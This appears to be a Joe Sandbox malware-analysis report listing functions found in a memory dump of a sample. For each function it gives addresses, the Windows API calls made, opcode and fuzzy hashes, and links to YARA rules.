Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e0ae847181b1538d67acaf3b877b1e0c0f52bda45648bd320df295aee16f3314
Instruction ID: 96bf0008d136ca20dee9e1abe4daef3c8c6557fdbb35987664ae140c3f357b7b
Opcode Fuzzy Hash: e0ae847181b1538d67acaf3b877b1e0c0f52bda45648bd320df295aee16f3314
Instruction Fuzzy Hash: 02F0A5B1C012998ECF51DFACC8456EEBBF1BB18300F1846BED419E7202E7395604CB91

Function 00B78B65 Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00B78B6B

Part of subcall function 00B78924: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00B78945

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 15c49645ae947bc9d886009c95b2f94d8af3cf3aba4b9e0e598e8e73a7603f1a
Instruction ID: e795c69f0fb79ce3b5ed35f60a76beab9e08e3c2415986f69ef805bd56473595
Opcode Fuzzy Hash: 15c49645ae947bc9d886009c95b2f94d8af3cf3aba4b9e0e598e8e73a7603f1a
Instruction Fuzzy Hash: DBD0A77064010C7BDF506E609C0697D7AD8DB05350F10C1B9BC2CA5250EE73CE106391

Function 00B6971A Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00B6964C), ref: 00B69726

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: a720878719a024cc34c624a3bcb1f3f04de7498226a4bbe19371ab136cfa66b7
Instruction ID: 0c76c8ab8a9060bde8a1f41766355c10d48c19bacabf3c5fa8f31f826488210f
Opcode Fuzzy Hash: a720878719a024cc34c624a3bcb1f3f04de7498226a4bbe19371ab136cfa66b7
Instruction Fuzzy Hash: 56D01231131200968E611E385E090756695DB533A6B28DAE4E065C50A1CF36CC43F540

Function 00B7BF77 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00B7BF9C

Part of subcall function 00B7991E: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B7992F
Part of subcall function 00B7991E: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B79940
Part of subcall function 00B7991E: TranslateMessage.USER32(?), ref: 00B7994A
Part of subcall function 00B7991E: DispatchMessageW.USER32(?), ref: 00B79954

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Message$DispatchItemPeekSendTranslate
String ID:
API String ID: 4142818094-0
Opcode ID: cb08b018666edea5c1bb39a22497256c2112383dd8b7e614f1464ff08156bdce
Instruction ID: c6999b5412b6b2a836d0752bb88f4ddf84ca301a4ec926e25da7d2614205c11a
Opcode Fuzzy Hash: cb08b018666edea5c1bb39a22497256c2112383dd8b7e614f1464ff08156bdce
Instruction Fuzzy Hash: 70D09E31144200EAD6112B51CE06F0A7AE6BB88B04F004598B344340B186629D30AB02

Function 00B7C7B6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C799

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ee88ae064fba6cbc9a896ea3829a42c9d3ec6a75e650d5d017414784890ba63f
Instruction ID: f24f598c731910adbd273b486f4cf9b93edfba9c60d55e1129499b6e57798613
Opcode Fuzzy Hash: ee88ae064fba6cbc9a896ea3829a42c9d3ec6a75e650d5d017414784890ba63f
Instruction Fuzzy Hash: E1B012D22581056D3548D2061C42C3715DCC3C1F21330C0FFB418C0154EC800C404136

Function 00B7C787 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C799

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a48cf5a45fc2e4ff503688e00722c83e1bbb51cef364ab05318204b2919cc22e
Instruction ID: a848ef5a57f49237b522ac5e24b6b77daddcb173d2c067d71ad6562c8ff4f66f
Opcode Fuzzy Hash: a48cf5a45fc2e4ff503688e00722c83e1bbb51cef364ab05318204b2919cc22e
Instruction Fuzzy Hash: DCB012D22581017D394892015C82C3715DDC3C2B11330C0FFB818C0050ED800C444032

Function 00B7C7C0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C799

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 68f95a0397a6a2596959de6b13848a973f31a7f89fb8573f4d8505810b41a1d9
Instruction ID: 06ebba344923aa3515138f5f80c579e606ecc763ec25075b05ac6a8d2bb8c203
Opcode Fuzzy Hash: 68f95a0397a6a2596959de6b13848a973f31a7f89fb8573f4d8505810b41a1d9
Instruction Fuzzy Hash: 75B012D225C0016D3548D2051D02C3715DDC3C1B11330C0FFB418C1150EC800C494032

Function 00B7C726 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C738

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f1541c586d8103680413603c09d168517b0ab22817f2fb6d174771025d4e6917
Instruction ID: f2030ad5b83af39acaa7ba9bee380b79200b1fe9f6325407d4fb8879c02cb83a
Opcode Fuzzy Hash: f1541c586d8103680413603c09d168517b0ab22817f2fb6d174771025d4e6917
Instruction Fuzzy Hash: DEB012A23682017D3E0892401D82C3709DCC3C1F36330C1FFB414D4050EC401C448532

Function 00B7C75F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C738

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 67666095cb275bab91c41f633054bab7c028d0665311972f2cd24b836e273bdd
Instruction ID: 980229973ba9ca714f7fd8f88e109b77f33b44796dff7c81cbdf222b2acb7d98
Opcode Fuzzy Hash: 67666095cb275bab91c41f633054bab7c028d0665311972f2cd24b836e273bdd
Instruction Fuzzy Hash: 1EB012923682016E3A48D2042F42C3709DCC3C1F12330C0FFB418C0160EC400C054532

Function 00B7C741 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C738

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e899273aa125874dcf337228d41099c90d3066b547c519d3d21b844dfaa59bb8
Instruction ID: 2caf39873264e3ece65fa439e498a1bc90f9c13a28f7d9296263cd9cac7b8b1c
Opcode Fuzzy Hash: e899273aa125874dcf337228d41099c90d3066b547c519d3d21b844dfaa59bb8
Instruction Fuzzy Hash: 9CB012923780016D3E48D2045D02C3709DCC3C1B12330C1FFB419C0160EC401C044136

Function 00B7C74B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C738

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0b0cfefa7dd1f9e8b72ed6f344a000aa62e484536abe1499d8594bdf964bbee2
Instruction ID: dd8fdefa6c0f8634c7e8f88722d540502626ec93d88f2fbc266219b75754976d
Opcode Fuzzy Hash: 0b0cfefa7dd1f9e8b72ed6f344a000aa62e484536abe1499d8594bdf964bbee2
Instruction Fuzzy Hash: 2FB012923781016D3A48D6041D42C3709DCC3C1F12330C0FFB818C0150EC400C044532

Function 00B7C7B1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C799

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 66f4260a2c1318c5fe6f71f8995f1db63dbd27d3d46e2a3ffcb48cfe59e2b870
Instruction ID: ca70fedaa10f96c8b3ca86da4807aa340d92c1ed38aa341c747fea44c31c95e3
Opcode Fuzzy Hash: 66f4260a2c1318c5fe6f71f8995f1db63dbd27d3d46e2a3ffcb48cfe59e2b870
Instruction Fuzzy Hash: EAA011E22A8002BC3008A2022C02C3B2AACC2C2B22330C8AEB82A800A0AC800C808030

Function 00B7C7A7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C799

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 35b8142c72e1a068c25ea1ecf0e515e1ea6ee3970c9a9b5aa0a6874292c325c2
Instruction ID: ca70fedaa10f96c8b3ca86da4807aa340d92c1ed38aa341c747fea44c31c95e3
Opcode Fuzzy Hash: 35b8142c72e1a068c25ea1ecf0e515e1ea6ee3970c9a9b5aa0a6874292c325c2
Instruction Fuzzy Hash: EAA011E22A8002BC3008A2022C02C3B2AACC2C2B22330C8AEB82A800A0AC800C808030

Function 00B7C782 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C738

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bb0f4df3acafadcd4a361347755e6ad1b78b5019da99c0b1037e0a6e6e04ec5a
Instruction ID: a507548a8a9dced011e84611d7eabaac0f47036c424c2d40135382fbbf117106
Opcode Fuzzy Hash: bb0f4df3acafadcd4a361347755e6ad1b78b5019da99c0b1037e0a6e6e04ec5a
Instruction Fuzzy Hash: 07A011A22A8002BC3A08A2002C02C3B0AACC2C2B22330C8AEB82A800A0EC800C080030

Function 00B7C778 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C738

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c4b6b95575144aa1ca648e2f2a30280a6696e0172c1c2aac88b822cacc5a106c
Instruction ID: a507548a8a9dced011e84611d7eabaac0f47036c424c2d40135382fbbf117106
Opcode Fuzzy Hash: c4b6b95575144aa1ca648e2f2a30280a6696e0172c1c2aac88b822cacc5a106c
Instruction Fuzzy Hash: 07A011A22A8002BC3A08A2002C02C3B0AACC2C2B22330C8AEB82A800A0EC800C080030

Function 00B7C76E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C738

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cf66dff9607d5f9745933b61cda86ad55fd98d08051f42a8da74880b530bcfbb
Instruction ID: a507548a8a9dced011e84611d7eabaac0f47036c424c2d40135382fbbf117106
Opcode Fuzzy Hash: cf66dff9607d5f9745933b61cda86ad55fd98d08051f42a8da74880b530bcfbb
Instruction Fuzzy Hash: 07A011A22A8002BC3A08A2002C02C3B0AACC2C2B22330C8AEB82A800A0EC800C080030

Function 00B7C75A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7C738

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f423b65693b584f87da01bffce3e55432b3f5cc5c826716e1cd954647abfa3f5
Instruction ID: a507548a8a9dced011e84611d7eabaac0f47036c424c2d40135382fbbf117106
Opcode Fuzzy Hash: f423b65693b584f87da01bffce3e55432b3f5cc5c826716e1cd954647abfa3f5
Instruction Fuzzy Hash: 07A011A22A8002BC3A08A2002C02C3B0AACC2C2B22330C8AEB82A800A0EC800C080030

Function 00B69B6A Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00B68EDB,?,?,-00001954), ref: 00B69B6D

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 6b0cba16330f1298308c5f15ceb7fa48e7e826ec5a282827f90a355c5469d69e
Instruction ID: 7b475edb43b2dcede2c90574b4e9eac8fb57a6b36b7f381bcbb993967f8d575b
Opcode Fuzzy Hash: 6b0cba16330f1298308c5f15ceb7fa48e7e826ec5a282827f90a355c5469d69e
Instruction Fuzzy Hash: 4EB011300F000A8A8E003B30CE088203A20EB2230A30082A0A00ACA0A0EF22C002AA00

Function 00B79023 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00B7927A,00BA2120,00000000,00BA3122,00000006), ref: 00B79027

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

